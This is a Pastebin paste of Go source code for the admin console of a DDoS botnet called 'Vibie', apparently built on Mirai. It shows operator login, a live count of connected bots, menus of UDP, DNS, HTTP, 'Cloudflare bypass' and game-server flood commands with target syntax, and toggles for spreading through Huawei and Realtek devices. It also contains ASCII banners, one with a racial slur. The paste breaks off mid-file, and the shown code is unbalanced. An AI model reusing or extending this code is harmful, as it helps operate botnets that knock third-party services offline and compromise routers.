Advertisement
Guest User

Untitled

a guest
Mar 29th, 2019
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 88.03 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "strconv"
  9. )
  10.  
  11. type Admin struct {
  12. conn net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16. return &Admin{conn}
  17. }
  18. //Cubby is daddy
  19. func (this *Admin) Handle() {
  20. this.conn.Write([]byte("\033[?1049h"))
  21. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23. defer func() {
  24. this.conn.Write([]byte("\033[?1049l"))
  25. }()
  26.  
  27. this.conn.Write([]byte("\033[2J\033[1;1H"))
  28. this.conn.Write([]byte("\033[01;31m ╔═══════════════════════════════════════════════╗ \x1b[0m \r\n"))
  29. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - - - - - Welcome To \033[01;31mVibie \033[0m- - - - - - - -\033[01;31m║ \x1b[0m \r\n"))
  30. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - - - Developed By \033[01;31m@kasayamae \033[0m- - - - - -\033[01;31m║ \x1b[0m \r\n"))
  31. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - -\033[01;31mDesign Inspired \033[0mBy \033[01;33mMcVibie \033[0m- - - -\033[01;31m║ \x1b[0m \r\n"))
  32. this.conn.Write([]byte("\033[01;31m ╚═══════════════════════════════════════════════╝ \x1b[0m \r\n"))
  33. this.conn.Write([]byte("\r\n"))
  34. this.conn.Write([]byte("\r\n"))
  35. this.conn.Write([]byte("\r\n"))
  36. this.conn.Write([]byte("\033[01;31m╔═══════════════════════════════════════════════╗ \x1b[0m \r\n"))
  37. this.conn.Write([]byte("\033[01;31m║\033[0m- - - - -Please Enter \033[01;31mLogin Info \033[0mBelow- - - - -\033[01;31m║ \x1b[0m \r\n"))
  38. this.conn.Write([]byte("\033[01;31m╚═══════════════════════════════════════════════╝ \x1b[0m \r\n"))
  39. this.conn.Write([]byte("\r\n"))
  40. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  41. this.conn.Write([]byte("\033[01;31mWhat's your username\033[01;33m: \033[01;31m"))
  42. username, err := this.ReadLine(false)
  43. if err != nil {
  44. return
  45. }
  46.  
  47. // Get password
  48. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  49. this.conn.Write([]byte("\033[01;31mWhat's your password\033[01;33m: \033[01;31m"))
  50. password, err := this.ReadLine(true)
  51. if err != nil {
  52. return
  53. }
  54.  
  55. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  56. this.conn.Write([]byte("\r\n"))
  57.  
  58. var loggedIn bool
  59. var userInfo AccountInfo
  60. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  61. this.conn.Write([]byte("\033[01;31m ╔═══════════════════════════════════════════════╗ \x1b[0m \r\n"))
  62. this.conn.Write([]byte("\r\033[01;31m║ Invalid credentials . ║ \r\n"))
  63. this.conn.Write([]byte("\033[01;33m ║ Please log out. Press any key ║ \033[0m"))
  64. this.conn.Write([]byte("\033[01;31m ╚═══════════════════════════════════════════════╝ \x1b[0m \r\n"))
  65. buf := make([]byte, 1)
  66. this.conn.Read(buf)
  67. return
  68. }
  69.  
  70. this.conn.Write([]byte("\r\n\033[0m"))
  71. go func() {
  72. i := 0
  73. for {
  74. var BotCount int
  75. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  76. BotCount = userInfo.maxBots
  77. } else {
  78. BotCount = clientList.Count()
  79. }
  80.  
  81. time.Sleep(time.Second)
  82. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;[ %d ] Vibies Connected | Soviet: %s\007", BotCount, username))); err != nil {
  83. this.conn.Close()
  84. break
  85. }
  86. i++
  87. if i % 60 == 0 {
  88. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  89. }
  90. }
  91. }()
  92. spinBuf := []byte{'-', '\\', '|', '/'}
  93. for i := 0; i < 15; i++ {
  94. this.conn.Write([]byte("\033[2J\033[1;1H"))
  95. this.conn.Write(append([]byte("\r\033[01;31mPlease wait\033[01;33m, \033[01;31mI'm connecting you with the Vibie region\033[01;33m... \033[01;33m"), spinBuf[i % len(spinBuf)]))
  96. time.Sleep(time.Duration(300) * time.Millisecond)
  97. }
  98. this.conn.Write([]byte("\033[2J\033[1;1H"))
  99. this.conn.Write([]byte("\x1b[1;33m \x1b[0m \r\n"))
  100. this.conn.Write([]byte("\033[01;31m ██╗ ██╗██╗██████╗ ██╗███████╗ \x1b[0m \r\n"))
  101. this.conn.Write([]byte("\033[01;31m ██║ ██║██║██╔══██╗██║██╔════╝ \x1b[0m \r\n"))
  102. this.conn.Write([]byte("\033[01;31m ██║ ██║██║██████╔╝██║█████╗ \x1b[0m \r\n"))
  103. this.conn.Write([]byte("\033[01;31m ╚██╗ ██╔╝██║██╔══██╗██║██╔══╝ \x1b[0m \r\n"))
  104. this.conn.Write([]byte("\033[01;31m ╚████╔╝ ██║██████╔╝██║███████╗ \x1b[0m \r\n"))
  105. this.conn.Write([]byte("\x1b[01;31m ╚═══╝ ╚═╝╚═════╝ ╚═╝╚══════╝ \x1b[0m \r\n"))
  106. this.conn.Write([]byte("\033[01;31m ╔═══════════════════════════════════════════════╗ \x1b[0m \r\n"))
  107. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - - - - - - - -\033[01;31mVibie\033[0m- - - - - - - - - - - \033[01;31m║ \x1b[0m \r\n"))
  108. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - - -@\033[01;33mVibie\033[0m - @\033[01;33makatsuki.oz \033[0m- - - - - \033[01;31m║ \x1b[0m \r\n"))
  109. this.conn.Write([]byte("\033[01;31m ╚═══════════════════════════════════════════════╝ \x1b[0m \r\n"))
  110. this.conn.Write([]byte("\r\n"))
  111. this.conn.Write([]byte("\r\n"))
  112. this.conn.Write([]byte("\033[01;31m ╔══════════════════════════════════════╗ \x1b[0m \r\n"))
  113. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - -\033[01;31mEnter \033[01;33mHELP \033[01;31mFor help\033[0m- - - -\033[01;31m║ \x1b[0m \r\n"))
  114. this.conn.Write([]byte("\033[01;31m ╚══════════════════════════════════════╝ \x1b[0m \r\n"))
  115. for {
  116. var botCatagory string
  117. var botCount int
  118. this.conn.Write([]byte("\033[01;31m" + username + "\033[0m@\033[01;31mVibie\033[0m# \033[01;31m"))
  119. cmd, err := this.ReadLine(false)
  120.  
  121. if cmd == "CLEAR" || cmd == "CLS" || cmd == "C" {
  122. this.conn.Write([]byte("\033[2J\033[1H"))
  123. this.conn.Write([]byte("\x1b[1;33m \x1b[0m \r\n"))
  124. this.conn.Write([]byte("\033[01;31m ██╗ ██╗██╗██████╗ ██╗███████╗ \x1b[0m \r\n"))
  125. this.conn.Write([]byte("\033[01;31m ██║ ██║██║██╔══██╗██║██╔════╝ \x1b[0m \r\n"))
  126. this.conn.Write([]byte("\033[01;31m ██║ ██║██║██████╔╝██║█████╗ \x1b[0m \r\n"))
  127. this.conn.Write([]byte("\033[01;31m ╚██╗ ██╔╝██║██╔══██╗██║██╔══╝ \x1b[0m \r\n"))
  128. this.conn.Write([]byte("\033[01;31m ╚████╔╝ ██║██████╔╝██║███████╗ \x1b[0m \r\n"))
  129. this.conn.Write([]byte("\x1b[01;31m ╚═══╝ ╚═╝╚═════╝ ╚═╝╚══════╝ \x1b[0m \r\n"))
  130. this.conn.Write([]byte("\x1b[01;40m \x1b[0m \r\n"))
  131. this.conn.Write([]byte("\033[01;31m ╔═══════════════════════════════════════════════╗ \x1b[0m \r\n"))
  132. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - - - - - - - -\033[01;31mVibie\033[0m- - - - - - - - - - - \033[01;31m║ \x1b[0m \r\n"))
  133. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - - -@\033[01;33mkasayamae\033[0m - @\033[01;33makatsuki.oz \033[0m- - - - - \033[01;31m║ \x1b[0m \r\n"))
  134. this.conn.Write([]byte("\033[01;31m ║\033[0m- - - - - - \033[01;31mВведите \033[01;33mHELP \033[01;31mдля команд\033[0m- - - - - - \033[01;31m║ \x1b[0m \r\n"))
  135. this.conn.Write([]byte("\033[01;31m ╚═══════════════════════════════════════════════╝ \x1b[0m \r\n"))
  136. this.conn.Write([]byte("\r\n"))
  137. this.conn.Write([]byte("\r\n"))
  138. continue
  139. }
  140. if err != nil || cmd == "BANNERS" {
  141. this.conn.Write([]byte("\033[01;31m ╔══════════════════════════════════════╗ \x1b[0m \r\n"))
  142. this.conn.Write([]byte("\033[01;31m ║ :katana - \033[0mShows OG Katana Banner \033[01;31m║ \x1b[0m \r\n"))
  143. this.conn.Write([]byte("\033[01;31m ║ :quote - \033[0mShows Quote Banner \033[01;31m║ \x1b[0m \r\n"))
  144. this.conn.Write([]byte("\033[01;31m ║ :batman - \033[0mShows Batman Signal \033[01;31m║ \x1b[0m \r\n"))
  145. this.conn.Write([]byte("\033[01;31m ║ :sao - \033[0mShows SAO Banner \033[01;31m║ \x1b[0m \r\n"))
  146. this.conn.Write([]byte("\033[01;31m ║ :reaper - \033[0mShows Reaper Banner \033[01;31m║ \x1b[0m \r\n"))
  147. this.conn.Write([]byte("\033[01;31m ║ :hentai - \033[0mShows Hentai Banner \033[01;31m║ \x1b[0m \r\n"))
  148. this.conn.Write([]byte("\033[01;31m ║ :xanax - \033[0mShows Xanax Banner \033[01;31m║ \x1b[0m \r\n"))
  149. this.conn.Write([]byte("\033[01;31m ║ :saikin - \033[0mShows Saikin Banner \033[01;31m║ \x1b[0m \r\n"))
  150. this.conn.Write([]byte("\033[01;31m ║ :kitty - \033[0mShows Kitty Banner \033[01;31m║ \x1b[0m \r\n"))
  151. this.conn.Write([]byte("\033[01;31m ║ :dood - \033[0mShows Anime Dood Banner \033[01;31m║ \x1b[0m \r\n"))
  152. this.conn.Write([]byte("\033[01;31m ║ :mickey - \033[0mShows Mickey Banner \033[01;31m║ \x1b[0m \r\n"))
  153. this.conn.Write([]byte("\033[01;31m ║ :sora - \033[0mShows Sora Banner \033[01;31m║ \x1b[0m \r\n"))
  154. this.conn.Write([]byte("\033[01;31m ║ :owari - \033[0mShows Owari Banner \033[01;31m║ \x1b[0m \r\n"))
  155. this.conn.Write([]byte("\033[01;31m ║ :hoho - \033[0mShows HoHo Banner \033[01;31m║ \x1b[0m \r\n"))
  156. this.conn.Write([]byte("\033[01;31m ║ :senpai - \033[0mShows Senpai Banner \033[01;31m║ \x1b[0m \r\n"))
  157. this.conn.Write([]byte("\033[01;31m ║ :neko - \033[0mShows Neko Banner \033[01;31m║ \x1b[0m \r\n"))
  158. this.conn.Write([]byte("\033[01;31m ║ :timeout - \033[0mShows Timeout Banner \033[01;31m║ \x1b[0m \r\n"))
  159. this.conn.Write([]byte("\033[01;31m ║ :demon - \033[0mShows Demon Banner \033[01;31m║ \x1b[0m \r\n"))
  160. this.conn.Write([]byte("\033[01;31m ║ :fbi - \033[0mShows Fbi Banner \033[01;31m║ \x1b[0m \r\n"))
  161. this.conn.Write([]byte("\033[01;31m ╚══════════════════════════════════════╝ \x1b[0m \r\n"))
  162. continue
  163. }
  164. if err != nil || cmd == "LAYER7" {
  165. this.conn.Write([]byte("\033[01;31m ╔══════════════════════════════════════╗ \x1b[0m \r\n"))
  166. this.conn.Write([]byte("\033[01;31m ║/vse - \033[0mGame Server Flood \033[01;31m║ \x1b[0m \r\n"))
  167. this.conn.Write([]byte("\033[01;31m ║/stomp - \033[0mVPN Flood \033[01;31m║ \x1b[0m \r\n"))
  168. this.conn.Write([]byte("\033[01;31m ║/cf - \033[0mCloudfare Bypass Flood \033[01;31m║ \x1b[0m \r\n"))
  169. this.conn.Write([]byte("\033[01;31m ║/http - \033[0mHTTP Flood \033[01;31m║ \x1b[0m \r\n"))
  170. this.conn.Write([]byte("\033[01;31m ╚══════════════════════════════════════╝ \x1b[0m \r\n"))
  171. continue
  172. }
  173. if err != nil || cmd == "ATTACK" {
  174. this.conn.Write([]byte("\033[01;31m ╔══════════════════════════════════════╗ \x1b[0m \r\n"))
  175. this.conn.Write([]byte("\033[01;31m ║.udp\033[0m <ip> <time> dport=<port> \033[01;31m║ \x1b[0m \r\n"))
  176. this.conn.Write([]byte("\033[01;31m ║.dns\033[0m <ip or url> <time> dport=<port> \033[01;31m║ \x1b[0m \r\n"))
  177. this.conn.Write([]byte("\033[01;31m ║.std\033[0m <ip> <time> dport=<port> \033[01;31m║ \x1b[0m \r\n"))
  178. this.conn.Write([]byte("\033[01;31m ║.kasaya\033[0m <ip> <time> \033[01;31m║ \x1b[0m \r\n"))
  179. this.conn.Write([]byte("\033[01;31m ╚══════════════════════════════════════╝ \x1b[0m \r\n"))
  180. continue
  181. }
  182. if err != nil || cmd == "ATTACKL7" {
  183. this.conn.Write([]byte("\033[01;31m ╔═══════════════════════════════════════════╗ \x1b[0m \r\n"))
  184. this.conn.Write([]byte("\033[01;31m ║/vse \033[0m<ip> <time> dport=<in-game port> \033[01;31m║ \x1b[0m \r\n"))
  185. this.conn.Write([]byte("\033[01;31m ║/stomp \033[0m<ip> <time> dport=<port> \033[01;31m║ \x1b[0m \r\n"))
  186. this.conn.Write([]byte("\033[01;31m ║/cf \033[0m<ip or URL> <time> dport=<port> \033[01;31m║ \x1b[0m \r\n"))
  187. this.conn.Write([]byte("\033[01;31m ║/http \033[0m<ip> <time> dport=<port> <or no port>\033[01;31m║ \x1b[0m \r\n"))
  188. this.conn.Write([]byte("\033[01;31m ╚═══════════════════════════════════════════╝ \x1b[0m \r\n"))
  189. continue
  190. }
  191. if err != nil || cmd == "METHODS" {
  192. this.conn.Write([]byte("\033[01;31m ╔═══════════════════════╗ \x1b[0m \r\n"))
  193. this.conn.Write([]byte("\033[01;31m ║.udp - \033[0mUDP Flood \033[01;31m ║ \x1b[0m \r\n"))
  194. this.conn.Write([]byte("\033[01;31m ║.dns - \033[0mDNS Flood \033[01;31m ║ \x1b[0m \r\n"))
  195. this.conn.Write([]byte("\033[01;31m ║.std - \033[0mSTD Flood \033[01;31m ║ \x1b[0m \r\n"))
  196. this.conn.Write([]byte("\033[01;31m ║.kasaya - \033[0m3-in-1 Flood\033[01;31m ║ \x1b[0m \r\n"))
  197. this.conn.Write([]byte("\033[01;31m ╚═══════════════════════╝ \x1b[0m \r\n"))
  198. continue
  199. }
  200. if err != nil || cmd == "HELP" {
  201. this.conn.Write([]byte("\033[01;31m ╔══════════════════════════════════════════╗ \x1b[0m \r\n"))
  202. this.conn.Write([]byte("\033[01;31m ║ METHODS - \033[0mMethods Menu \033[01;31m ║ \x1b[0m \r\n"))
  203. this.conn.Write([]byte("\033[01;31m ║ ATTACK - \033[0mAttack Instrucions \033[01;31m ║ \x1b[0m \r\n"))
  204. this.conn.Write([]byte("\033[01;31m ║ ADMIN - \033[0mAdmin Menu \033[01;31m ║ \x1b[0m \r\n"))
  205. this.conn.Write([]byte("\033[01;31m ║ CLEAR - \033[0mClears Screen \033[01;31m ║ \x1b[0m \r\n"))
  206. this.conn.Write([]byte("\033[01;31m ║ Vibie - \033[0mShows Vibie Count \033[01;31m ║ \x1b[0m \r\n"))
  207. this.conn.Write([]byte("\033[01;31m ║ TOOLS - \033[0mTool Menu \033[01;31m ║ \x1b[0m \r\n"))
  208. this.conn.Write([]byte("\033[01;31m ║ INFO - \033[0mInfo Menu \033[01;31m ║ \x1b[0m \r\n"))
  209. this.conn.Write([]byte("\033[01;31m ║ SERVER - \033[0mServer Menu[Admin] \033[01;31m ║ \x1b[0m \r\n"))
  210. this.conn.Write([]byte("\033[01;31m ║ BANNERS - \033[0mShows Banner Menu \033[01;31m ║ \x1b[0m \r\n"))
  211. this.conn.Write([]byte("\033[01;31m ╚══════════════════════════════════════════╝ \x1b[0m \r\n"))
  212. continue
  213. }
  214. if userInfo.admin == 1 && cmd == "ADMIN" {
  215. this.conn.Write([]byte("\033[01;31m ╔══════════════════════════════════════════╗ \x1b[0m \r\n"))
  216. this.conn.Write([]byte("\033[01;31m ║ Adduser - \033[0mAdd user menu \033[01;31m ║ \x1b[0m \r\n"))
  217. this.conn.Write([]byte("\033[01;31m ║ ATTACKL7 - \033[0mAttack Instrucions \033[01;31m ║ \x1b[0m \r\n"))
  218. this.conn.Write([]byte("\033[01;31m ║ LAYER7 - \033[0mLayer 7 Attack Menu \033[01;31m ║ \x1b[0m \r\n"))
  219. this.conn.Write([]byte("\033[01;31m ║ SERVER - \033[0mServer Menu \033[01;31m ║ \x1b[0m \r\n"))
  220. this.conn.Write([]byte("\033[01;31m ║ CLS - \033[0mClears Screen \033[01;31m ║ \x1b[0m \r\n"))
  221. this.conn.Write([]byte("\033[01;31m ║ Vibies - \033[0mShows Vibiecount \033[01;31m ║ \x1b[0m \r\n"))
  222. this.conn.Write([]byte("\033[01;31m ╚══════════════════════════════════════════╝ \x1b[0m \r\n"))
  223. continue
  224. }
  225. if userInfo.admin == 1 && cmd == "SERVER" {
  226. this.conn.Write([]byte("\033[01;31m ╔═══════════════════════════════════════╗ \x1b[0m \r\n"))
  227. this.conn.Write([]byte("\033[01;31m ║ !* HUAWEI ON - \033[0mEnables Huawei Rep \033[01;31m║ \x1b[0m \r\n"))
  228. this.conn.Write([]byte("\033[01;31m ║ !* HUAWEI OFF - \033[0mDisables Huawei Rep \033[01;31m║ \x1b[0m \r\n"))
  229. this.conn.Write([]byte("\033[01;31m ║ !* REALTEK ON - \033[0mEnables Realtek Rep \033[01;31m║ \x1b[0m \r\n"))
  230. this.conn.Write([]byte("\033[01;31m ║ !* REALTEK OFF - \033[0mDisables Realtek Rep \033[01;31m║ \x1b[0m \r\n"))
  231. this.conn.Write([]byte("\033[01;31m ╚═══════════════════════════════════════╝ \x1b[0m \r\n"))
  232. continue
  233. }
  234. if userInfo.admin == 1 && cmd == "!* HUAWEI ON" {
  235. this.conn.Write([]byte("\033[0m [\033[01;31mHUAWEI\033[0m] \033[01;31m- \033[01;33mACTIVATED \r\n"))
  236. continue
  237. }
  238. if userInfo.admin == 1 && cmd == "!* HUAWEI OFF" {
  239. this.conn.Write([]byte("\033[0m [\033[01;31mHUAWEI\033[0m] \033[01;31m- \033[01;31mDISABLED \r\n"))
  240. continue
  241. }
  242. if userInfo.admin == 1 && cmd == "!* REALTEK ON" {
  243. this.conn.Write([]byte("\033[0m [\033[01;31mREALTEK\033[0m] \033[01;31m- \033[01;33mACTIVATED \r\n"))
  244. continue
  245. }
  246. if userInfo.admin == 1 && cmd == "!* REALTEK OFF" {
  247. this.conn.Write([]byte("\033[0m [\033[01;31mREALTEK\033[0m] \033[01;31m- \033[01;31mDISABLED \r\n"))
  248. continue
  249. }
  250. if err != nil || cmd == "TOOLS" {
  251. this.conn.Write([]byte("\033[31m TOOLS Menu \033[0m Will Be Available Soon! \r\n"))
  252. continue
  253. }
  254. if err != nil || cmd == "INFO" {
  255. botCount = clientList.Count()
  256. this.conn.Write([]byte(fmt.Sprintf("\033[01;31m ═══════════════════════════════ \r\n")))
  257. this.conn.Write([]byte(fmt.Sprintf("\033[01;31m \033[0mLogged In As: \033[01;31m" + username + " \r\n")))
  258. this.conn.Write([]byte(fmt.Sprintf("\033[01;31m \033[0mBots Loaded: \033[01;31m%d \r\n", botCount)))
  259. this.conn.Write([]byte(fmt.Sprintf("\033[01;31m \033[0mVersion: \033[01;31mVibie v2 \r\n")))
  260. this.conn.Write([]byte(fmt.Sprintf("\033[01;31m \033[0mDeveloped By \033[01;31m@kasayamae \r\n")))
  261. this.conn.Write([]byte(fmt.Sprintf("\033[01;31m \033[0mTranslated By \033[01;31mMcVibie \r\n")))
  262. this.conn.Write([]byte(fmt.Sprintf("\033[01;31m ═══════════════════════════════ \r\n")))
  263. continue
  264. }
  265. if err != nil || cmd == ":katana" {
  266. this.conn.Write([]byte("\033[2J\033[1;1H"))
  267. this.conn.Write([]byte("\033[0;31m \r\n"))
  268. this.conn.Write([]byte("\033[0;31m ██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m█████\x1b[0;37m╗ \x1b[0;31m████████\x1b[0;37m╗ \x1b[0;31m█████\x1b[0;37m╗ \x1b[0;31m███\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m█████\x1b[0;37m╗ \r\n"))
  269. this.conn.Write([]byte("\033[0;31m ██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m╔╝\x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m╗╚══\x1b[0;31m██\x1b[0;37m╔══╝\x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m████\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m╗\r\n"))
  270. this.conn.Write([]byte("\033[0;31m █████\x1b[0;37m╔╝ \x1b[0;31m███████\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m███████\x1b[0;37m║\x1b[0;31m██\x1b[0;37m╔\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m███████\x1b[0;37m║\r\n"))
  271. this.conn.Write([]byte("\033[0;31m ██\x1b[0;37m╔═\x1b[0;31m██\x1b[0;37m╗ \x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║╚\x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m╔══\x1b[0;31m██\x1b[0;37m║\r\n"))
  272. this.conn.Write([]byte("\033[0;31m ██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m╗\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ ╚\x1b[0;31m████\x1b[0;37m║\x1b[0;31m██\x1b[0;37m║ \x1b[0;31m██\x1b[0;37m║\r\n"))
  273. this.conn.Write([]byte("\033[0;31m \x1b[0;37m╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝\r\n"))
  274. this.conn.Write([]byte("\033[0;31m \r\n"))
  275. this.conn.Write([]byte("\033[0;31m \r\n"))
  276. this.conn.Write([]byte("\033[0;31m \r\n"))
  277. this.conn.Write([]byte("\033[0;31m \r\n"))
  278. continue
  279. }
  280. if err != nil || cmd == ":demon" {
  281. this.conn.Write([]byte("\033[2J\033[1;1H"))
  282. this.conn.Write([]byte("\x1b[1;36m ▓█████▄ ▓█████ ███▄ ▄███▓ ▒█████ ███▄ █ ▄▄▄▄ ▒█████ ▄▄▄█████▓ \r\n\x1b[0m"))
  283. this.conn.Write([]byte("\x1b[1;36m ▒██▀ ██▌▓█ ▀ ▓██▒▀█▀ ██▒▒██▒ ██▒ ██ ▀█ █ ▓█████▄ ▒██▒ ██▒▓ ██▒ ▓▒ \r\n\x1b[0m"))
  284. this.conn.Write([]byte("\x1b[1;36m ░██ █▌▒███ ▓██ ▓██░▒██░ ██▒▓██ ▀█ ██▒ ▒██▒ ▄██▒██░ ██▒▒ ▓██░ ▒░ \r\n\x1b[0m"))
  285. this.conn.Write([]byte("\x1b[1;36m ░▓█▄ ▌▒▓█ ▄ ▒██ ▒██ ▒██ ██░▓██▒ ▐▌██▒ ▒██░█▀ ▒██ ██░░ ▓██▓ ░ \r\n\x1b[0m"))
  286. this.conn.Write([]byte("\x1b[1;36m ░▒████▓ ░▒████▒▒██▒ ░██▒░ ████▓▒░▒██░ ▓██░ ░▓█ ▀█▓░ ████▓▒░ ▒██▒ ░ \r\n\x1b[0m"))
  287. this.conn.Write([]byte("\x1b[1;36m ▒▒▓ ▒ ░░ ▒░ ░░ ▒░ ░ ░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ░▒▓███▀▒░ ▒░▒░▒░ ▒ ░░ \r\n\x1b[0m"))
  288. this.conn.Write([]byte("\x1b[1;36m ░ ▒ ▒ ░ ░ ░░ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░ ▒░▒ ░ ░ ▒ ▒░ ░ \r\n\x1b[0m"))
  289. this.conn.Write([]byte("\x1b[1;36m ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \r\n\x1b[0m"))
  290. this.conn.Write([]byte("\x1b[1;36m ░ ░ \r\n\x1b[0m"))
  291. this.conn.Write([]byte("\x1b[1;36m \x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\x1b[1;37m Welcome \x1b[1;36m \033[32;1m" + username + " \x1b[1;37m To The Demon BotNet\x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\r\n\x1b[0m"))
  292. this.conn.Write([]byte("\x1b[1;36m \x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\x1b[1;37m Display HELP by typing HELP \x1b[1;35m[\x1b[1;37m+\x1b[1;35m]\r\n\x1b[0m"))
  293. continue
  294. }
  295. if err != nil || cmd == ":fbi" {
  296. this.conn.Write([]byte("\033[2J\033[1H"))
  297. this.conn.Write([]byte("\033[38;5;13m ███████╗██████╗ ██╗ \r\n"))
  298. this.conn.Write([]byte("\033[38;5;13m ██╔════╝██╔══██╗██║ \r\n"))
  299. this.conn.Write([]byte("\033[38;5;13m █████╗ ██████╔╝██║ \r\n"))
  300. this.conn.Write([]byte("\033[38;5;13m ██╔══╝ ██╔══██╗██║ \r\n"))
  301. this.conn.Write([]byte("\033[38;5;13m ██║ ██████╔╝██║ \r\n"))
  302. this.conn.Write([]byte("\033[38;5;13m ╚═╝ ╚═════╝ ╚═╝ \r\n"))
  303. this.conn.Write([]byte("\r \x1b[0;34m***\x1b[1;37mmWelcome To FBI\x1b[0;34m***\r\n"))
  304. continue
  305. if err != nil || cmd == ":neko" {
  306. this.conn.Write([]byte("\033[2J\033[1;1H"))
  307. this.conn.Write([]byte("\033[0;31m \r\n"))
  308. this.conn.Write([]byte("\x1b[1;96m ███\x1b[0;95m╗ \x1b[0;96m██\x1b[0;95m╗\x1b[0;96m███████\x1b[0;95m╗\x1b[0;96m██\x1b[0;95m╗ \x1b[0;96m██\x1b[0;95m╗ \x1b[0;96m██████\x1b[0;95m╗ \r\n\x1b[0m"))
  309. this.conn.Write([]byte("\x1b[1;96m ████\x1b[0;95m╗ \x1b[0;96m██\x1b[0;95m║\x1b[0;96m██\x1b[0;95m╔════╝\x1b[0;96m██\x1b[0;95m║ \x1b[0;96m██\x1b[0;95m╔╝\x1b[0;96m██\x1b[0;95m╔═══\x1b[0;96m██\x1b[0;95m╗ \r\n\x1b[0m"))
  310. this.conn.Write([]byte("\x1b[1;96m ██\x1b[0;95m╔\x1b[0;96m██\x1b[0;95m╗ \x1b[0;96m██\x1b[0;95m║\x1b[0;96m█████\x1b[0;95m╗ \x1b[0;96m█████\x1b[0;95m╔╝ \x1b[0;96m██\x1b[0;95m║ \x1b[0;96m██\x1b[0;95m║ \r\n\x1b[0m"))
  311. this.conn.Write([]byte("\x1b[1;96m ██\x1b[0;95m║╚\x1b[0;96m██\x1b[0;95m╗\x1b[0;96m██\x1b[0;95m║\x1b[0;96m██\x1b[0;95m╔══╝ \x1b[0;96m██\x1b[0;95m╔═\x1b[0;96m██\x1b[0;95m╗ \x1b[0;96m██\x1b[0;95m║ \x1b[0;96m██\x1b[0;95m║ \r\n\x1b[0m"))
  312. this.conn.Write([]byte("\x1b[1;96m ██\x1b[0;95m║ ╚\x1b[0;96m████\x1b[0;95m║\x1b[0;96m███████\x1b[0;95m╗\x1b[0;96m██\x1b[0;95m║ \x1b[0;96m██\x1b[0;95m╗╚\x1b[0;96m██████\x1b[0;95m╔╝ \r\n\x1b[0m"))
  313. this.conn.Write([]byte("\x1b[1;95m ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ ╚═════╝ \r\n\x1b[0m"))
  314. this.conn.Write([]byte("\x1b[1;96m \r\n\x1b[0m"))
  315. this.conn.Write([]byte("\x1b[1;95m I'm a little kitty! \r\n\x1b[0m"))
  316. this.conn.Write([]byte("\x1b[1;96m \r\n\x1b[0m"))
  317. continue
  318. }
  319. if err != nil || cmd == ":batman" {
  320. this.conn.Write([]byte("\033[2J\033[1;1H"))
  321. this.conn.Write([]byte("\033[0;34m MMMMMMMMMMMMMMMMMMMMM \x1b[0;31mScreech Nigga \x1b[0;34mMMMMMMMMMMMMMMMMMMMMM \r\n"))
  322. this.conn.Write([]byte("\033[0;34m `MMMMMMMMMMMMMMMMMMMM N N MMMMMMMMMMMMMMMMMMMM' \r\n"))
  323. this.conn.Write([]byte("\033[0;34m `MMMMMMMMMMMMMMMMMMM MMMMMM MMMMMMMMMMMMMMMMMMM' \r\n"))
  324. this.conn.Write([]byte("\033[0;34m MMMMMMMMMMMMMMMMMMM-_______MMMMMMMM_______-MMMMMMMMMMMMMMMMMMM \r\n"))
  325. this.conn.Write([]byte("\033[0;34m MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM \r\n"))
  326. this.conn.Write([]byte("\033[0;34m MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM \r\n"))
